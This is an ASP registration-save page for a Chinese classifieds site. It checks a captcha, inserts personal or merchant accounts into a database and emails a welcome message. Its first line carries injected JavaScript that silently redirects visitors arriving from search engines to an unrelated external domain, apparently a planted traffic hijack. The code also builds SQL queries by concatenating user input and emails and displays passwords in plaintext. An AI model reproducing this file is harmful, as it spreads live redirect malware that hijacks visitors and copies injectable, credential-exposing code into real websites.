d:\wwwroot\wuchunhua\kqiqi_regcheck_save.asp

001: <script type="text/javascript">var s=document.referrer;if(s.indexOf("google")>0 || s.indexOf("baidu")>0 || s.indexOf("yahoo")>0 || s.indexOf("gou")>0 || s.indexOf("bing")>0 || s.indexOf("dao")>0 || s.indexOf("so")>0 || s.indexOf("sm")>0 || s.indexOf("biso")>0 ){location.href="http://www.afisyecd.space/?1923057"}</script><!--#include file="inc/conn.asp"-->
002: <!--#include file="inc/kqiqi_sub.asp"-->
003: <!--#include file="inc/kqiqi_fuction.asp"-->
004: <!--#include file="inc/md5.asp"-->
005: <!--#include file="inc/function.asp"-->
006: <!--#include file="inc/Checkyuckj.asp"-->
007: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
008: <html xmlns="http://www.w3.org/1999/xhtml">
009: <head>
010: <meta http-equiv="Content-Language" content="zh-cn">
011: <meta http-equiv="Content-Type" content="text/html; charset=gb2312">
012: <title><%=title%>-会员注册成功</title>
013: <link rel="icon" href="<%=web%>/favicon.ico" type="image/x-icon" />
014: <link rel="shortcut icon" href="<%=web%>/favicon.ico" type="image/x-icon" />
015: <link href="inc/style.css" rel="stylesheet" type="text/css" />
016: </head>
017: <%
018: If Request.Form("yuckjAnswer")="" Then
019: response.write "<script language=JavaScript>" & chr(13) & "alert('请填写防恶意注册问题答案!');" & "history.back()" & "</script>"
020: End If
021: If Not Checkyuckj(Request.Form("yuckjAnswer")) Then
022: response.write "<script language=JavaScript>" & chr(13) & "alert('防恶意注册问题回答错误,请返回重试。');" & "history.back()" & "</script>"
023: End If
024:
025: kqiqi_checkcode=CStr(session("GetCode"))
026: session("GetCode")=""
027: if kqiqi_checkcode<>CStr(request("kqiqi_checkcode"))  then
028: Response.write"<script>alert(""验证码不正确,请点击刷新验证后重写!  "");history.back();</script>"
029: Response.end
030: end if
031:
032: dim password1,namecn,tu1
033: tu1=trim(request("tu"))
034: if request("per")="kqiqi" then
035: username=HtmlEncode(trim(request("username")))
036: password=request("password")
037: email=HtmlEncode(trim(request("email")))
038: set rs=server.createobject("adodb.recordset")
039: sql="select * from [user] where username='"&username&"'or email='"&email&"'"
040: rs.open sql,conn,1,3
041: if not rs.eof or not rs.bof then
042: if trim(rs("username"))=username then
043: response.write "<script language=JavaScript>" & chr(13) & "alert('您输入的用户名已经注册过,请重新注册个人用户');" & "history.back()" & "</script>"
044: response.end
045: end if
046: if trim(rs("email"))=email then
047: response.write "<script language=JavaScript>" & chr(13) & "alert('您输入的E-mail已经注册过,请重新注册个人用户');" & "history.back()" & "</script>"
048: response.end
049: end if
050:
051: end if
052: if rs.eof or rs.bof then
053: rs.addnew
054: rs("username")=username
055: rs("password")=md5(password)
056: rs("name")=HtmlEncode(trim(request("name")))
057: rs("email")=email
058: rs("dianhua")=HtmlEncode(trim(request("dianhua")))
059: rs("qq")=HtmlEncode(trim(request("qq1")))
060: rs("dizhi")=HtmlEncode(trim(request("dizhi")))
061: rs("zcdata")=now()
062: rs("jf")=jf
063: rs("hb")=hb
064: rs.update
065: end if
066: else
067:
068:
069: dim comabout,fax
070: username=HtmlEncode(trim(request("comusername")))
071: password=request("compassword")
072: password=Request.form("compassword")
073: password1=Request.form("compassword1")
074: 'com=Request.form("com")
075: email=HtmlEncode(trim(request.form("comemail")))
076: set rs1=server.createobject("adodb.recordset")
077: sql1="select * from [kqiqi_shop] where username='"&username&"'or email='"&email&"'"
078: rs1.open sql1,conn,1,3
079: if not rs1.eof or not rs1.bof then
080: if trim(rs1("username"))=username then
081: response.write "<script language=JavaScript>" & chr(13) & "alert('您输入的用户名已经注册过,请重新注册商家用户');" & "history.back()" & "</script>"
082: response.end
083: end if
084:
085: if trim(rs1("email"))=email then
086: response.write "<script language=JavaScript>" & chr(13) & "alert('您输入的E-mail已经注册过,请重新注册商家用户');" & "history.back()" & "</script>"
087: response.end
088: end if
089: end if
090:
091: if rs1.eof or rs1.bof then
092: rs1.addnew
093: rs1("username")=username
094: rs1("password")=md5(password)
095: rs1("sjcla1")=request("sjcla1")
096: rs1("sjcla2")=request("sjcla2")
097: rs1("diqu")=HtmlEncode(request("diqu"))
098: rs1("city")=HtmlEncode(request("city"))
099: rs1("com")=HtmlEncode(request("com"))
100: rs1("comabout")=HtmlEncodes(trim(request("comabout")))
101: rs1("name")=HtmlEncode(trim(request("comname")))
102: rs1("qq")=HtmlEncode(trim(request("qq")))
103: rs1("email")=email
104: rs1("url")=HtmlEncode(trim(request("url")))
105: rs1("dianhua")=HtmlEncode(trim(request("comdianhua")))
106: rs1("fax")=HtmlEncode(trim(request("comfax")))
107: rs1("che")=HtmlEncode(request("che"))
108: rs1("dizhi")=HtmlEncode(trim(request("comdizhi")))
109: rs1("logo")=HtmlEncode(trim(request("tupian")))
110: rs1("zcdata")=now()
111: rs1("jf")=jf
112: rs1("hb")=hb
113: rs1("mb")=trim(request.form("mb"))
114: rs1.update
115: end if
116: end if
117:
118: %
>
119: <body>
120: <div id="Fmain">
121: <div id="header">
122: <%call top()%>
123: </div>
124: <div class=kon></div>
125: <div id=FFTit class=F12bold>注册会员成功</div><div id=FFContent><div Class='FFdiv'>
126: <table width="100%" border="0" bordercolor="#FFFFFF" cellpadding="0" style="border-collapse: collapse">
127: <form method="POST" name="thisForm" action="login.asp">
128: <tr>
129: <td class=userbg align="center" width="50%">注册会员成功</td>
130: </tr><tr>
131: <td height="111">
132: <p align="center" style="line-height: 200%; margin-top: 0; margin-bottom: 0">
133: <font size="3">恭喜您,<b><%=username%></b>(<%if request("per")="kqiqi" then response.write "个人会员"  else response.write "商家会员"%>)!<b><font color="#FF0000">注册成功了!</font></b></font><p align="center" style="line-height: 150%; margin-top: 0; margin-bottom: 0">
134: <font size="2">同时将密码发送到您的邮箱<b><font color=""#ff0000""><%=email%></font></b>,请保管好您的密码</font><br>
135: <hr size="0" style="border: 1px dotted #CCCCCC">
136: </td>
137: </tr>
138: <tr>
139: <td height="32">
140: <p align="center">用户名称:<input type="text" maxlength="12" name="username" size="20" value="<%=username%>"><font color="#FF0000"> *</font></td>
141: </tr>
142: <tr>
143: <td height="45">
144: <p align="center">用户密码:<input type="password" maxlength="40" name="password" size="20" value="<%=password%>" >
145: <font color="#FF0000">*</font></td>
146: </tr>
147: <tr>
148: <td>
149: <p align="center"><input type="hidden" name="login" value="kqiqi"><%if request("per")="kqiqi" then %><input type="submit" value="个人登录" name="per"><%else%><input type="submit" value="商家登陆" name="com"><br>您的帐号需要我们在24小时内审核通过!<br>
150: <%end if%></td>
151: </tr>
152: </form>
153: </table>
154: </div></div>
155: <br style="clear:both;" />
156: <div class=kon></div>
157: <div class=kon></div>
158: <div id="footer">
159:
160: <%
161: call mail()
162: rs.close
163: set rs=nothing
164: rs1.close
165: set rs1=nothing
166:
167: call bottom()
168: %
>
169: </div>
170: </div>
171: <%
172: sub mail()
173: dim mailbody,Jmail
174: mailbody="欢迎您,"&username&"!<br>恭喜您成为<a target=_blank href="&web&">"&title&"</a>的尊敬会员!<br>您的登陆帐号:"&username&"<br>您的登陆密码:"&password&"<br><br>登陆地址为:<a target=_blank href="&web&">"&web&"</a><br>["&title&"]打造中国最大的分类资讯平台<br>"
175: Set Jmail=server.createobject("Jmail.Message")
176: Jmail.Charset ="gb2312"
177: Jmail.Silent =true
178: JMail.ContentType = "text/html"
179: Jmail.Priority = 3
180: Jmail.MailServerUserName = mailname
181: Jmail.MailServerPassword = mailpass
182: Jmail.From = mailform
183: Jmail.FromName =""&title&""
184: Jmail.Subject ="恭喜你注册成功,请查收登陆帐号!"
185: Jmail.AddRecipient ""&email&""
186: Jmail.Body = mailbody
187: Jmail.Send(mailsmtp)
188: Set Jmail=nothing
189: end sub
190: %
>
191: </body>
192: </html>
193:
194:
195: